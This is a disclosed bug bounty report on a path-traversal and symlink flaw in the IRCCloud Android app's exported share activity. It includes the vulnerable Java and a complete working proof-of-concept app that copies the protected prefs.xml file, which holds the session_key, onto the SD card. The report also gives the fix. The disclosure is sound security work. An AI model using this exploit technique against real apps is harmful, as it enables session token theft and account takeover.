[IRCCloud Android] Theft of arbitrary files leading to token leakage

Disclosed: 2017-11-15 15:23:32 By bagipro To irccloud
High
Vulnerability Details
#Bug description# Hi, I'd like to report a vulnerability which allows to theft arbitrary protected files (and as a result takeover account, because all tokens will be leaked), similar to my bug reported to Harvest https://hackerone.com/reports/161710 This one is really tricky, passed two days to realize how to exploit that ;) Activity ``` com.irccloud.android.activity.ShareChooserActivity ``` is exported and designed to allow file sharing from third-party apps to IRC Cloud ```xml <activity android:excludeFromRecents="true" android:name="com.irccloud.android.activity.ShareChooserActivity" android:theme="@style/dawnDialog"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.SEND"/> <category android:name="android.intent.category.DEFAULT"/> <data android:mimeType="application/*"/> <data android:mimeType="audio/*"/> <data android:mimeType="image/*"/> <data android:mimeType="text/*"/> <data android:mimeType="video/*"/> </intent-filter> <meta-data android:name="android.service.chooser.chooser_target_service" android:value=".ConversationChooserTargetService"/> </activity> ``` ```java protected void onResume() { //... if (getSharedPreferences("prefs", 0).getString("session_key", "").length() > 0) { //... this.mUri = (Uri) getIntent().getParcelableExtra("android.intent.extra.STREAM"); // getting attacker provided uri if (this.mUri != null) { this.mUri = MainActivity.makeTempCopy(this.mUri, this); // copying file from this uri to /data/data/com.irccloud.android/cache/ } ``` ```java public static Uri makeTempCopy(Uri fileUri, Context context, String original_filename) { // original_filename = mUri.getLastPathSegment() //... try { Uri out = Uri.fromFile(new File(context.getCacheDir(), original_filename)); Log.d("IRCCloud", "Copying file to " + out); InputStream is = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri); OutputStream os = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openOutputStream(out); byte[] buffer = new byte[8192]; while (true) { int len = is.read(buffer); if (len != -1) { os.write(buffer, 0, len); //... ``` It means that the specified file will be copied to ``` /data/data/com.irccloud.android/cache/ ``` with original name. Original name is ``` getLastPathSegment() ``` from the specified uri. But there is one thing: this method decodes last path segment. This is my PoC: ```java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // path to sdcard (encoded relative path from "/data/data/com.irccloud.android/cache/") String zhk = "..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml"; // absolute path to a file, pointing to sumlink String appDir = "/data/data/" + getPackageName(); String deepPath = appDir + "/x/x/x/x/"; new File(deepPath).mkdirs(); String sumlink = deepPath + zhk; try { File sumlinkFile = new File(Uri.decode(sumlink)).getCanonicalFile(); sumlinkFile.getParentFile().mkdirs(); Runtime.getRuntime().exec("ln -s /data/data/com.irccloud.android/shared_prefs/prefs.xml " + sumlinkFile.getAbsolutePath()).waitFor(); } catch(Exception e) { // should be never thrown throw new RuntimeException(e); } grant777PermissionToEverything(new File(appDir)); Uri uri = Uri.parse("file://" + sumlink); // file:///data/data/com.attacker/x/x/x/x/..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml Intent intent = new Intent(); intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ShareChooserActivity"); intent.putExtra("android.intent.extra.STREAM", uri); startActivity(intent); } private void grant777PermissionToEverything(File dist) { dist.setReadable(true, false); dist.setWritable(true, false); dist.setExecutable(true, false); if(dist.isDirectory()) { for(File child : dist.listFiles()) { grant777PermissionToEverything(child); } } } ``` Result: {F238129} {F238128} It works so: 1) I start your activity with the following uri: ``` file:///data/data/com.attacker/x/x/x/x/..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml ``` 2) Canonical file from #2 (``` /data/data/com.attacker/sdcard/prefs.xml ```) is a symlink file pointing to the file I want to theft (``` /data/data/com.irccloud.android/shared_prefs/prefs.xml ```) 3) In your app ``` original_filename ``` is equal to ``` ../../../../sdcard/prefs.xml ``` 4) ```java InputStream is = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri); ``` But ``` openInputStream(...) ``` automatically decodes the specified uri. So it will access my symlink file which points to ``` /data/data/com.irccloud.android/shared_prefs/prefs.xml ``` 5) ```java Uri out = Uri.fromFile(new File(context.getCacheDir(), original_filename)); OutputStream os = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openOutputStream(out); ``` It is equal to ```java Uri out = Uri.fromFile(new File("/data/data/com.irccloud.android/cache/", "../../../../sdcard/prefs.xml")); ``` So it simply outputs the specified file to Sd card. #How to fix# Just specify e.g. current timestamp as a file name, but don't use provided by attacker. In current implementation attacker can force IRC Cloud app to copy arbitrary files to arbitrary directories. File ``` /data/data/com.irccloud.android/shared_prefs/prefs.xml ``` contains ``` session_key ```. In normal situation this file is accessible only to IRC Cloud app. But when it's copied to e.g. Sd card it will be accessible to everyone. But Sd card is only simple example. Attacker can also force IRC Cloud app to copy a file to its internal directory. BTW this vulnerability also allows to overwrite arbitrary files. So attacker also can replace any your protected files and substitute for example history.
Actions
View on HackerOne
Report Stats
  • Report ID: 288955
  • State: Closed
  • Substate: resolved
  • Upvotes: 29
Share this report